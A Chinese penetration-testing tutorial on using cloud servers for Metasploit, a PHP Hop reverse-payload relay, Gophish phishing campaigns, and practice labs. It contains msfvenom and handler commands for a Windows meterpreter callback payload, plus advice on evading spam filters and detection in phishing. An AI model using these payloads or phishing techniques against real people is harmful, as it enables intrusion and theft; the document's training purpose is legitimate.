概述
随着云计算的发展,对基于云的应用程序、服务和基础设施的测试也在不断增加。在对云部署进行渗透测试时,最大的问题之一是共享所有权。过去,在进行渗透测试时,企业会拥有网络上的所有组件,我们可以对它们进行全部测试;而在云环境中,根据部署和服务模式的不同,我们的测试范围可能非常有限。
作为渗透测试人员开始使用云计算之前,先了解一些术语:
-
provider(提供商)是构建云部署的实体,它向一个或多个tenants (租户)提供服务;租户是与提供商签订服务合同的人。
-
基础设施即服务 (IaaS):这是一种云服务模型,提供商提供硬件和网络连接,租户负责虚拟机及其上运行的所有软件。这意味着大多数组件都在租户控制范围内。
-
平台即服务(PaaS): 在这种模式下,提供商负责提供硬件、网络连接、运行应用程序所需的组件、操作系统和依赖项;租户只负责提供和维护应用程序。
-
软件即服务 (SaaS):SaaS 是一种即开即用解决方案;所有组件均由提供商提供和维护,我们几乎无法进行测试。
# 1、在云服务器中使用Metasploit
在前面文章中,已经向大家展示了如何在 DigitalOcean Droplet
中使用 Metasploit
。在本节中,将讲解如何在云中部署 Metasploit
,以及其他的一些选项。
# 准备工作
使用你熟悉的云服务平台,比如阿里云、腾讯云创建一个实例,系统选择Ubuntu22.04 64bit
,内存2GB,硬盘大于40GB
然后使用如下命令安装Metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安装完成后,使用 msfconsole
来启动 Metasploit
:
root@iZj6cfmowyi6om20qcudx6Z:~# msfconsole
=[ metasploit v6.3.32-dev- ]
+ -- --=[ 2346 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Enable verbose logging with set VERBOSE
true
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
# 更多平台
如果在Azure
或Amazon AWS
中,可以直接选择Kali Linux
镜像进行部署虚拟机。
如果你不想仅仅为了运行Metasploit
而麻烦地部署新系统,也可以使用Google Cloud Shell
。
直接用命令安装即可:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
然后msfconsole
启动
# 2、Metasploit PHP Hop
在本教程中,将学习如何使用 Windows Meterpreter
(反射注入)和反向跃点 HTTP/HTTPS Stage
攻击载荷。此攻击载荷允许我们通过 HTTP
或 HTTPS
代理进行隧道通信。首先,需要将metasploit-framework/data/php/
目录中的hop.php
文件上传到远程服务器,可以使用任何带有 PHP
的 Web
服务器。
# 准备工作
在云服务器上安装php
和apache
,在Ubuntu22.04
上直接运行apt install php
将会自动安装php
和apache
接下来,复制hop.php
到/var/www/html/
目录并启动 Apache2
服务
~# cp /opt/metasploit-framework/embedded/framework/data/php/hop.php /var/www/html/
# 怎么做
1、使用windows/meterpreter/reverse_hop_http
攻击载荷,并创建一个二进制文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_hop_http HOPURL=http://192.168.91.140/hop.php -f exe -o hopper.exe
2、创建攻击载荷后,启用监听器
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_hop_http
payload => windows/meterpreter/reverse_hop_http
msf6 exploit(multi/handler) > set HOPURL http://192.168.91.140/hop.php
HOPURL => http://8.217.184.170/hop.php
msf6 exploit(multi/handler) > exploit
[*] Preparing stage for next session 7D_Mcis5_VA82zzbWCsM4wOYrh5TKZEldZisSMKF8jq042260UfHb4Sdmj-tPwvdL6qHzRp0W0FGrlXODAA6BfsWIJK7K8-vyIc0BUa
[*] Uploaded stage to hop http://192.168.91.140/hop.php?/
一旦受害者运行攻击载荷,我们就会通过php Hop
中继获得目标上的新会话。
在新版本中,这个功能已不可用,在msf4中可以正常使用。
# 3、来自云端的网络钓鱼
网络钓鱼是访问组织的最有效方法之一,但是,创建网络钓鱼活动可能是一项艰巨的任务,尤其是在您的邮件服务器最终被阻止的情况下。因此,使用云服务来托管我们的网络钓鱼框架并为我们的网络钓鱼电子邮件提供服务可能是解决我们问题的绝佳方法。
# 准备工作
对于我们的网络钓鱼活动,我们可以使用 Gophish
,这是一个网络钓鱼框架,可以轻松测试组织对网络钓鱼的暴露程度。首先,你可以从官方网站 https://getgophish.com
下载 Gophish
;然后,解压并运行 gophish
。
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
└─$ ./gophish
time="2023-09-04T12:37:36+08:00" level=warning msg="No contact address has been configured."
time="2023-09-04T12:37:36+08:00" level=warning msg="Please consider adding a contact_address entry in your config.json"
goose: migrating db environment 'production', current version: 0, target: 20220321133237
OK 20160118194630_init.sql
OK 20160131153104_0.1.2_add_event_details.sql
OK 20160211211220_0.1.2_add_ignore_cert_errors.sql
OK 20160217211342_0.1.2_create_from_col_results.sql
OK 20160225173824_0.1.2_capture_credentials.sql
OK 20160227180335_0.1.2_store-smtp-settings.sql
OK 20160317214457_0.2_redirect_url.sql
OK 20160605210903_0.2_campaign_scheduling.sql
OK 20170104220731_0.2_result_statuses.sql
OK 20170219122503_0.2.1_email_headers.sql
OK 20170827141312_0.4_utc_dates.sql
OK 20171027213457_0.4.1_maillogs.sql
OK 20171208201932_0.4.1_next_send_date.sql
OK 20180223101813_0.5.1_user_reporting.sql
OK 20180524203752_0.7.0_result_last_modified.sql
OK 20180527213648_0.7.0_store_email_request.sql
OK 20180830215615_0.7.0_send_by_date.sql
OK 20190105192341_0.8.0_rbac.sql
OK 20191104103306_0.9.0_create_webhooks.sql
OK 20200116000000_0.9.0_imap.sql
OK 20200619000000_0.11.0_password_policy.sql
OK 20200730000000_0.11.0_imap_ignore_cert_errors.sql
OK 20200914000000_0.11.0_last_login.sql
OK 20201201000000_0.11.0_account_locked.sql
OK 20220321133237_0.4.1_envelope_sender.sql
time="2023-09-04T12:37:37+08:00" level=info msg="Please login with the username admin and the password 07263bcd463ec9fb"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting IMAP monitor manager"
time="2023-09-04T12:37:37+08:00" level=info msg="Background Worker Started Successfully - Waiting for Campaigns"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting phishing server at http://0.0.0.0:80"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting new IMAP monitor for user admin"
time="2023-09-04T12:37:37+08:00" level=info msg="Creating new self-signed certificates for administration interface"
time="2023-09-04T12:37:37+08:00" level=info msg="TLS Certificate Generation complete"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting admin server at https://127.0.0.1:3333"
要更改配置文件,请修改config.json
。
─$ cat config.json
{
"admin_server": {
"listen_url": "0.0.0.0:3333",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key",
"trusted_origins": []
},
"phish_server": {
"listen_url": "0.0.0.0:80",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
如果想降低钓鱼页面被发现的风险性,可以使用 Let's Encrypt 生成免费的 TLS 证书,并使用它来配置 Gophish 以通过 HTTPS 提供网络钓鱼 URL。
设置好配置文件后,重新启动gophish
,使用一次性密码登录
─$ sudo ./gophish
time="2023-09-04T12:44:49+08:00" level=warning msg="No contact address has been configured."
time="2023-09-04T12:44:49+08:00" level=warning msg="Please consider adding a contact_address entry in your config.json"
goose: no migrations to run. current version: 20220321133237
time="2023-09-04T12:44:49+08:00" level=info msg="Please login with the username admin and the password 63a853117929ea31"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting IMAP monitor manager"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting phishing server at http://0.0.0.0:80"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting new IMAP monitor for user admin"
time="2023-09-04T12:44:49+08:00" level=info msg="Background Worker Started Successfully - Waiting for Campaigns"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting admin server at https://0.0.0.0:3333"
然后按照页面提示修改管理员密码
# 如何操作
通过管理仪表盘来配置网络钓鱼活动
要发送电子邮件,首先需要在发送配置文件部分中配置 SMTP
中继详细信息:
在为网络钓鱼活动设置电子邮件服务器时,不要忘记像在常规电子邮件服务器中一样配置 SPF
、DKIM
和 DMARC
;这将使你的服务器看起来合法,并有更好的机会绕过反垃圾邮件技术。
确保网络钓鱼电子邮件到达目标收件人的一种方法是使用托管企业电子邮件解决方案,例如 Zoho Mail
。只需访问 https://www.zoho.com/mail/,创建一个免费的企业电子邮件帐户,然后就可以开始了。它甚至允许设置自定义域,可以使用它来加强网络钓鱼活动的可信度。
在本教程中,不会介绍具体如何使用 Gophish
设置和配置网络钓鱼活动。可以参考Gophish
官方手册:https://docs.getgophish.com/user-guide/
举例:通过Gophish
结合 Metasploit HTA Web
服务器漏洞利用模块在网络钓鱼电子邮件中嵌入 HTML
应用程序链接,当目标打开电子邮件并运行 HTA
时,获得一个新的msf
会话。
当然不仅仅局限于此,可以发挥你的想象,使用其他手段达到目的。
# 4、利用云服务构建渗透测试实验室
测试新工具和技术是渗透测试人员工作的重要组成部分。每天都会有新的工具被创造出来,新的技术也会被发现,所以要跟上行业的步伐。我们必须投入大量时间练习和掌握渗透测试所需工具。拥有一个可以设置实验室环境和实践的数据中心不太现实,而且可能非常昂贵。但随着云服务变得更便宜、更快、更容易使用,我们可以利用云平台建立我们自己的渗透测试实验环境。
# 怎么操作
以Azure
为例;创建一个免费帐户,你可以获得 200 美元试用额度。你会发现只需单击几下鼠标即可创建像本书中使用的那样的实验室环境。
部署易受攻击的机器的最大问题之一是控制它们并且不将它们暴露在互联网上。为此,我们可以创建一个虚拟网络,该网络将使用此网络服务在 Microsoft Azure
中创建一个逻辑上隔离的部分。这样,我们就可以使用私有 IP 地址、定义子网、使用我们自己的 DNS 服务器以及使用虚拟设备创建复杂的网络拓扑。
若要详细了解如何创建虚拟网络,可以参考Azure的文档:
https://docs.microsoft.com/en-us/azure/virtual-network/quick-create-portal
Google Cloud Platform
和 Amazon Web Services (AWS)
也是出色的云服务,你可以在其上构建实验室;与 Azure
一样,都有免费试用的机会。
# 其他平台
如果你只是想练习,不想建立自己的实验室,你可以尝试一下 Hack The Box
,访问 https://www.hackthebox.eu/,Hack The Box
是一个在线网站,该平台允许你通过一系列挑战来测试你的技能,其中一些挑战是模拟的现实场景,另一是 CTF
挑战。
你还可以访问 https://www.vulnhub.com/
,下载一些存在漏洞的靶机,然后在自己的设备上运行和进行渗透测试练习。